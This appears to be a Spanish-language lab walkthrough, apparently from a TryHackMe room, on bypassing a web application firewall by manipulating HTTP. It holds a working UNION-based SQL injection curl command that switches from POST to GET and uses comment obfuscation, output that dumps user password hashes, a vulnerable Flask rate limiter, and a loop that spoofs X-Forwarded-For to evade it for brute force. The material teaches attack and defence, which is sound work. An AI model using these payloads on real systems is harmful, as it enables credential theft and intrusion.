Protocol Manipulation

Mientras que las dos tareas anteriores las enfocamos a cómo bypassear los WAFs mediante encoding, ofuscación e inconsistencias de parseo, esta tarea explora cómo manipular el protocolo HTTP en sí mismo puede ayudar a evadir la detección. Muchos WAFs sólo inspeccionan métodos, headers o componentes HTTP específicos, creando puntos ciegos que los atacantes pueden explotar.

En esta tarea exploraremos técnicas que utilizan manipulación a nivel de protocolo:

• Bypass de filtros basados en métodos HTTP
• Manipulación de headers HTTP
• Comprobación de métodos HTTP alternativos

Filtrado Basado en Métodos HTTP

Los WAFs suelen aplicar diferentes reglas basadas en el método HTTP usado. Por ejemplo, un WAF puede comprobar rigurosamente las peticiones POST en busca de inyección SQL pero no aplicar filtro a las peticiones GET. Esto crea una oportunidad: si la aplicación acepta el mismo parámetro vía múltiples métodos, los atacantes pueden cambiarlos para bypassear el WAF.

Filtro de Sólo POST

Considera una regla de WAF que sólo comprueba peticiones POST para patrones de inyección SQL basados en OR.

SecRule REQUEST_METHOD "@streq POST" \
    "id:6001,phase:2,chain,deny,status:403"
    SecRule ARGS "@rx \s+OR\s+"

Esta regla sólo se dispara cuando el método es POST y el argumento contiene "OR". Las peticiones GET con payloads similares bypassean esta medida.

Poniéndolo en Práctica - Inyección SQL vía Cambio de Método

La aplicación de blog tiene una funcionalidad de búsqueda de comentarios la cual acepta tanto GET como POST. Este endpoint tiene inyección SQL en el parámetro search:

sql = f"SELECT * FROM posts WHERE content LIKE '%{search}%'"

Si intentas subir un payload basado en OR mediante POST se disparará la regla 6001 y lo bloqueará. Sin embargo si pruebas lo mismo con el método GET bypasseará la medida de seguridad.

Ahora puedes combinar este método con una inyección basada en UNION para extraer información sensible. Como la regla 2002 todavía bloquea UNION SELECT, usaremos comentarios para ofuscarlo.

curl -i 'http://MACHINE_IP/comment/add?search=x%27%20OR%201=1%20UNION/**/SELECT%20id,username,password,email,1%20FROM%20users--'

/1.1 200 OK
Date: Mon, 17 Nov 2025 14:23:49 GMT
Server: Werkzeug/3.0.1 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 4805
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

"search_results": [
    [
      1,
      "Welcome to the Blog",
      "This is our first blog post. Welcome to our platform!",
      "admin",
      "2025-11-17 07:27:12"
    ],
    [
      1,
      "admin",
      "0192023a7bbd73250516f069df18b500",
      "admin@blog.com",
      1
    ],
    [
      2,
      "Understanding SQL Injection",
      "SQL Injection is a code injection technique used to attack data-driven applications.",
      "admin",
      "2025-11-17 07:27:12"
    ],
    [
      2,
      "user1",
      "5f4dcc3b5aa765d61d8327deb882cf99",
      "user1@blog.com",
      1
    ],
    [
      3,
      "Cross-Site Scripting Explained",
      "XSS attacks occur when malicious scripts are injected into web pages.",
      "alice",
      "2025-11-17 07:27:12"
    ],
    [
      3,
      "alice",
      "7abdccbea8473767e91378e37850d296",
      "alice@blog.com",
      1
    ]
]

Manipulación de Headers HTTP

Los headers HTTP controlan cómo se enrutan, procesan e interpretan las peticiones. Muchas aplicaciones confían en headers específicos para propósitos operacionales, aunque puede que los WAFs no los inspeccionen adecuadamente. Esto crea oportunidades de bypass mediante la inyección y manipulación de headers.

Bypass de X-Forwarded-For y Rate Limiting

El header X-Forwarded-For es comúnmente usado para identificar la IP del cliente al pasar peticiones por un proxy o balanceador de carga. Sin embargo, muchas aplicaciones confían en este header sin validación, permitiendo a los atacantes falsear su dirección IP y bypassear el rate limiting.

El endpoint de API del blog /api/posts implementa rate limiting (5 peticiones por minuto por IP). El código de la aplicación demuestra la vulnerabilidad:

@app.route('/api/posts')
def api_posts():
    # Rate limiting based on X-Forwarded-For
    client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)
    
    if not check_rate_limit(client_ip):
        return jsonify({'error': 'Rate limit exceeded'}), 429

La aplicación comprueba primero X-Forwarded-For, lo que puede ser configurado arbitrariamente por el cliente, en lugar de usar sólo la IP de conexión real (reques.remote_addr).

Poniéndolo en Práctica - Bypasseando el Rate Limiting

Primero disparamos el rate limit haciendo seis peticiones consecutivas:

user@tryhackme$ for i in {1..6};do curl http://MACHINE_IP/api/posts;done

{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{
  "error": "Rate limit exceeded. Please try again later."
}

Observa que la sexta petición devuelve un código de error 429.

Ahora bypasseamos el rate limit suplantando la IP usando el header X-Forwarded-For.

ubuntu@tryhackme$ for i in {1..20};do curl http://MACHINE_IP/api/posts -H "X-Forwarded-For: 192.168.1.$i";done

{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}
[...13 more successful responses...]
{"posts":[{"id":3,"title":"Cross-Site Scripting Explained"...}]}

En la respuesta de arriba podemos ver que las 20 peticiones han sido exitosas.

Esta técnica puede ser usada para:

• Bypassear el rate limit de una API
• Realizar fuerza bruta sin ser denegado
• Evadir mecanismos de bloqueo basados en IP
• Acceder a recursos limitados repetidamente

Comprobando Métodos HTTP Alternativos

Más allá de GET y POST, HTTP soporta más métodos. Aunque no todas las aplicaciones procesan estos métodos, probarlos puede revelar comportamiento inesperado u oportunidades de bypasseo. Los WAFs pueden no aplicar las mismas medidas de seguridad para todos los métodos.

Métodos Alternativos Comunes

• HEAD: Devuelve sólo headers.
• OPTIONS: Devuelve métodos permitidos y configuración CORS.
• PUT: Normalmente usado por APIs REST para actualizar recursos.
• PATCH: Similar a PUT para actualizaciones parciales.
• DELETE: Usado para eliminar recursos.
• TRACE: Devuelve la petición.

Probamos a ver qué métodos acepta la aplicación:

ubuntu@tryhackme$ curl-X OPTIONS 'http://MACHINE_IP/'-I 

HTTP/1.1 200 OK
Date: Mon, 17 Nov 2025 14:52:29 GMT
Server: Werkzeug/3.0.1 Python/3.10.12
Content-Type: text/html; charset=utf-8
Allow: GET, OPTIONS, HEAD
Content-Length: 0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

En la respuesta observamos que:

• Los métodos GET, HEAD y OPTIONS son aceptados y procesados
• PUT devuelve 405 Method Not Allowed
• La aplicación lista explícitamente los métodos permitidos

Aunque la aplicación blog no nos da oportunidades de bypass adicionales a través de métodos alternativos más allá de GET y POST, comprobarlo es esencial durante el reconocimiento.